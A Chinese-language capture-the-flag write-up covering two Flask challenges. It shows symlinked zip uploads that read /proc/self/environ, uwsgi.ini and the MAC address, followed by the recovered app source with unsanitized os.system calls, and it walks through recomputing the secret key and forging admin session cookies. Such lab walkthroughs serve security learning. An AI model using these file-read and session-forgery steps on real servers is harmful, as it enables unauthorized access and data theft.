信息收集
主页是一个登陆界面其他按钮点击不了,源代码也没什么东西。
除了admin用户不能直接登陆,其他用户都可以。
打开以后是一个文件上传,然后根据提示只能上传zip文件,我们随便上传一个
我在zip文件里面写了一个/etc/passwd然后,发现实现了cat这个文件的功能。
然后再linux中有一个软链接,
然后把test存入zip中,
zip -ry 1.zip test
上传后发现出现了/etc/passwd的命令,我们就可以更加深入的查找环境变量
ln -s /proc/self/environ link #环境变量
zip -ry out.zip link
注意DUWSGI_INI=/app/uwsgi.ini
uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器(如nginx,uWSGI等服务器)与web应用(如用Flask框架写的程序)通信的一种规范。
读取/app/uwsgi.ini
ln -s /app/uwsgi.ini us
zip -y us.zip us
然后尝试读取一下/app/main.py
发现里面没什么有用的,所以我们还要找出源码在哪里。
然后搜索别的wp发现可能是buu环境的问题
正确的应该是
[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log
然后直接访问/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py出源码,整理得
hard_t0_guess_n9f5a95b5ku9fg为当前得文件名
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
然后发现,index中有一个模板,index.html,应该是上面得目录下,templates文件,return render_template('index.html', forbidden=1)
index.html的真实路径就是/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html
需要我们是admin用户,然后看网站时session
所以我们需要知道密钥是如何构成得
查找密钥
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
源代码得前几行就给出了
种子是通过random.seed(uuid.getnode())
生成的。而uuid.getnode()又是将MAC地址转换为10进制。那么我们通过程序中的任意文件读取来获取网卡地址。不就能得到种子了
读取/proc/net/dev可以知道服务器上的网卡。接着/sys/class/net/eth0/address可以知道MAC地址
ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac
提交mac.zip,得到02:42:ac:10:9e:a1
这里因为源码是app.config['SECRET_KEY'] = str(random.random()*100)所以这里也是100,让皇后python2 和python3运行出来得随机种子是不一样得,所以得看服务端用得哪个版本,建议从pyhotn3到python2如果不对,都试试。
伪造密钥
import random
import sys
mac = "02:42:ac:10:9e:a1"
print(int(mac.replace(":", ""), 16))#转换为10进制
random.seed(int(2485377867425))
SECRET_KEY = str(random.random() * 100)
#根据程序中修改
print(SECRET_KEY)
然后就需要伪造admin的session
这里用到了github 中下载的一个源码,flask_session_cookie
思考:
自己的小问题:本来以为用jwt就可以搞定,但是格式有一部分不一样,这里面有一个时间戳的概念
格式类似于这种 eyJ1c2VybmFtZSI6InRlc3QifQ.XC7SPg.sV9_ueBW2e4kCoY0sxh14dxsQiY 由三部分组成 eyJ1c2VybmFtZSI6InRlc3QifQ Base64加密的数据 XC7SPg 时间戳 sV9_ueBW2e4kCoY0sxh14dxsQiY 数据签名。重点在于这个。通过密钥进行签名。防止被篡改
[HCTF 2018]admin
打开就是一个登陆注册,先注册admin然后已经被注册过了,就会想会不会是把用户名再改回admin然后获得flag。
看看
登陆后发现有三个功能, 上传,改密码,忘记这个可以忽略着重看这两个
然后代码审计发现密钥ckj123
和我们想的一样改为admin就可以,
开始伪造session
首先把网站的session进行解码
python3 flask_session_cookie_manager3.py decode -c ‘session’
{"_fresh":true,"_id":{" b":"MmE0NWU2OTY3ZDkyZmU1MTBiMjA4Zjc4YzI0NzUyZTc5OTFhZDNmMTcxNzAyZWU0MGQ2OTdlNGNlMTkzZDZhNmM1Nzk3Y2ZhYmY3YzJkMmRkMzdkN2ExM2M3YTU0NmQzZDdhZjQzZjAzNWUwZDZhMzIzNjljYjZhMzdkZTZlNWY="},"csrf_token":{" b":"NGYxOGQ1M2YzMTQ3MTM5NWVkNTU2YzY2NjMyOGYzNDNkMTQ5ZTU1NQ=="},"image":{" b":"QlVmNg=="},"name":"admin","user_id":"10"}
name改成admin
然后开始伪造admin
试了好久都是报错
'{"_fresh":true,"_id":{" b":"2a45e6967d92fe510b208f78c24752e7991ad3f171702ee40d697e4ce193d6a6c5797cfabf7c2d2dd37d7a13c7a546d3d7af43f035e0d6a32369cb6a37de6e5f"},"csrf_token":{" b":"4f18d53f31471395ed556c666328f343d149e555"},"image":{" b":"BUf6"},"name":"admin","user_id":"10"}'
然后翻了好几篇文章,发现是需要改变格式把括号去掉"b",变成b'相当于变成了python的格式
{'_fresh': True, '_id': b'2a45e6967d92fe510b208f78c24752e7991ad3f171702ee40d697e4ce193d6a6c5797cfabf7c2d2dd37d7a13c7a546d3d7af43f035e0d6a32369cb6a37de6e5f', 'csrf_token': b'4f18d53f31471395ed556c666328f343d149e555', 'image': b'BUf6', 'name': 'admin', 'user_id': '10'}
太难了不容易,原本解码的时候也报错,然后pip3 install flask模板才成功运行。